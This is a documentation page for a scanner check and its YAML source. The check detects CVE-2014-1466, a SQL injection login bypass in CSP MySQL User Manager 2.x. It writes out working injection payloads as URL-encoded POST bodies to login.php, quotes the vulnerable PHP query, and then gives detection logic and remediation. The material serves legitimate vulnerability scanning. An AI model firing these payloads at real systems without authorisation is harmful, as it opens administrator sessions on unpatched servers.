CSP MySQL User Manager — 1 vulnerability check

noctis ships 1 vulnerability check for CSP MySQL User Manager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CSP MySQL User Manager login.php SQL injection authentication bypass

CVECVE-2014-1466
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/csp-mysql-user-manager/CVE-2014-1466.yaml

Looks for the CSP MySQL User Manager (C.M.U.M.) 2.x admin login page (index.php with the product title or its loginuser / loginpass form) under /cmum, /cspmum, /www and the web root. It then posts two logins to login.php whose user name is a SQL condition: an always-false one (<random>' or N=N+1 limit 1-- -) and an always-true one (<random>' or N=N limit 1-- -), each with a random password. The finding fires when the true condition is redirected to the admin home page (or to the "Account disabled" error, which only appears when an account row matched) and the false one to the "Incorrect username or password" error: the user name is evaluated inside the login SQL query and the password check is bypassed. A login that also accepts the false condition is reported separately. Both requests are ordinary login attempts; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/login.php with a crafted body
  5. HTTP(S) request POST {{dir}}/login.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.loc for . → finding QoD 97: CSP MySQL User Manager login.php SQL injection authentication bypass
  8. Checks v.loc for . → finding QoD 75: CSP MySQL User Manager login.php SQL injection authentication bypass
  9. Checks v.loc for . → finding QoD 70: CSP MySQL User Manager admin login accepts an invalid login

References:

Feed source — tests/vulnerabilities/csp-mysql-user-manager/CVE-2014-1466.yaml
# CSP MySQL User Manager (C.M.U.M.) 2.x login.php SQL injection authentication bypass
# (CVE-2014-1466; CVE-2018-10757 is the same bug reported again for 2.3.1).
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_csp_mysql_user_manager_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.804229, GPL-2.0-only). The NASL GETs <dir>/index.php for
# /cmum, /cspmum and the web root, requires the title ">:: CSP MySQL User Manager<", then
# POSTs <dir>/login.php with loginuser=admin%27+or+%27+1%3D1--&loginpass=<random> and
# reports a 302 to "Location: home.php".
#
# Real code (cmum-23.zip / cmum-231.zip, Google Code archive "cspmum"), www/login.php:
#   $loginuser = stripslashes($_POST["loginuser"]);
#   SELECT * FROM cmum_admins WHERE username='$loginuser' AND password='sha1($loginpass)'
#   rowcheck == 1 → enabled == "true" ? Location: home.php : Location: index.php?error=3
#   else → Location: index.php?error=1
# 3.0.0 (2014-11) moved the login to functions/login.php with real_escape_string.
#
# Better than the NASL:
#   - Fingerprint: 2.3.1 dropped the "::" from the page title, and the "clean login"
#     setting blanks the title entirely, so the NASL marker misses both. The feed accepts
#     the product title with or without "::" or the login form itself
#     (form "dologin" posting loginuser / loginpass to login.php); the title alone is
#     enough too (half-upgraded 2.x serves a title-only database-version page).
#   - Payload: the NASL's `admin' or ' 1=1--` only works when an account is literally
#     named "admin". `<random>' or N=N limit 1-- -` selects exactly one admin row
#     whatever its name (rowcheck must be 1). A disabled first account answers
#     index.php?error=3 ("Account disabled"), which still proves a row matched.
#   - Control: the same shape with a false condition (`N=N+1`) must be rejected
#     (index.php?error=1) — QoD 97 true/false differential. Control without a reply →
#     QoD 75. Control also logged in → separate "accepts an invalid login" finding.
#   - Also tries /www (the archive's web folder uploaded as-is).
# Both requests are plain login attempts; a failed one may add a failed-login log row,
# as any wrong password does. Nothing else is written.
uid: 0e681e54-0ed1-498b-bd78-bd8f136cc658
name: "CSP MySQL User Manager login.php SQL injection authentication bypass"
description: >-
  Looks for the CSP MySQL User Manager (C.M.U.M.) 2.x admin login page
  (index.php with the product title or its loginuser / loginpass form) under
  /cmum, /cspmum, /www and the web root. It then posts two logins to login.php
  whose user name is a SQL condition: an always-false one
  (<random>' or N=N+1 limit 1-- -) and an always-true one
  (<random>' or N=N limit 1-- -), each with a random password. The finding
  fires when the true condition is redirected to the admin home page (or to the
  "Account disabled" error, which only appears when an account row matched) and
  the false one to the "Incorrect username or password" error: the user name is
  evaluated inside the login SQL query and the password check is bypassed. A
  login that also accepts the false condition is reported separately. Both
  requests are ordinary login attempts; no data is read or changed.
category: sqli
cves: [CVE-2014-1466]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [csp-mysql-user-manager, cmum, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1466"
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-10757"
  - "https://www.exploit-db.com/exploits/44589"
  - "https://code.google.com/archive/p/cspmum/"
  - "OpenVAS/Greenbone NASL 2014/gb_csp_mysql_user_manager_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  # Shared random values: user-name prefix, password and the condition operand.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/cmum", "/cspmum", "", "/www"]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: "", headers: {}}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: "", headers: {}}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      // Login form (title may be blanked by "clean login"), or the product title
      // alone (2.x serves a title-only "Incorrect database version" page while
      // login.php stays reachable). The true/false differential guards against FPs.
      let form = b.contains("name=\"loginuser\"") && b.contains("name=\"loginpass\"")
        && (b.contains("CSP MySQL User Manager") || b.contains("name=\"dologin\""));
      let title = ereg("<title>(:: )?CSP MySQL User Manager</title>", b);
      page.status == 200 && (form || title)
    store_as: is_cmum

  # Control: false condition of the same shape — must be rejected (index.php?error=1).
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_cmum"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
    body: "loginuser={{rv.u}}%27+or+{{rv.n}}%3D{{rv.f}}+limit+1--+-&loginpass={{rv.p}}"
    store_as: ctl

  # Injection: always-true condition, exactly one admin row selected.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_cmum"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/index.php"
    body: "loginuser={{rv.u}}%27+or+{{rv.n}}%3D{{rv.n}}+limit+1--+-&loginpass={{rv.p}}"
    store_as: inj

  - id: verdict
    action: script
    code: |
      fn loc_of(r) {
        if type_of(r) != "map" || type_of(r.headers) != "map" { return ""; }
        let l = r.headers["location"];
        if type_of(l) == "string" { l.trim(); l } else { "" }
      }
      fn redir(r) { type_of(r) == "map" && r.status >= 301 && r.status <= 303 }
      fn is_loc(l, page) { l == page || l.ends_with("/" + page) }
      let li = loc_of(inj);
      let lc = loc_of(ctl);
      let home = redir(inj) && is_loc(li, "home.php");
      let disabled = redir(inj) && is_loc(li, "index.php?error=3");
      let ctl_rejected = redir(ctl) && is_loc(lc, "index.php?error=1");
      let ctl_login = redir(ctl) && (is_loc(lc, "home.php") || is_loc(lc, "index.php?error=3"));
      let ctl_none = type_of(ctl) != "map" || ctl.status == 0;
      let hit = is_cmum && (home || disabled);
      let how = if home { "redirected to home.php (admin session opened)" }
                else { "redirected to index.php?error=3 (Account disabled: an admin row matched)" };
      #{ sqli: hit && ctl_rejected, sqli_noctl: hit && ctl_none, any: hit && ctl_login,
         how: how, loc: li, ctl_loc: lc }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.loc
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2014-1466]
        title: "CSP MySQL User Manager login.php SQL injection authentication bypass"
        description: "The CSP MySQL User Manager admin login (login.php) concatenates the user name into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/login.php with loginuser={{rv.u}}' or {{rv.n}}={{rv.n}} limit 1-- - and a random password was {{v.how}}; the same login with the false condition {{rv.n}}={{rv.f}} was rejected (Location: {{v.ctl_loc}})."
        remediation: "Upgrade CSP MySQL User Manager to 3.0.0 or later, which escapes the login fields. Until then, restrict access to the C.M.U.M. web interface to trusted administrators."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.loc
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2014-1466]
        title: "CSP MySQL User Manager login.php SQL injection authentication bypass"
        description: "The CSP MySQL User Manager admin login (login.php) concatenates the user name into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
        confidence_delta: 0.50
        qod: 75
        evidence: "POST {{dir}}/login.php with loginuser={{rv.u}}' or {{rv.n}}={{rv.n}} limit 1-- - and a random password was {{v.how}}; the false-condition control login got no reply."
        remediation: "Upgrade CSP MySQL User Manager to 3.0.0 or later, which escapes the login fields. Until then, restrict access to the C.M.U.M. web interface to trusted administrators."
      stop: true

  - id: any-login
    action: match
    source: v.loc
    pattern: "."
    condition: "v.any"
    on_match:
      finding:
        cves: []
        title: "CSP MySQL User Manager admin login accepts an invalid login"
        description: "The CSP MySQL User Manager admin login opened a session for a user name and password that match no account, so the admin interface is reachable without valid credentials."
        confidence_delta: 0.40
        qod: 70
        evidence: "POST {{dir}}/login.php was redirected to {{v.loc}} both for loginuser={{rv.u}}' or {{rv.n}}={{rv.n}} limit 1-- - and for the false condition {{rv.n}}={{rv.f}} (Location: {{v.ctl_loc}}), each with a random password."
        remediation: "Upgrade CSP MySQL User Manager to 3.0.0 or later and restrict access to the C.M.U.M. web interface to trusted administrators."
      stop: true

View these feeds on GitHub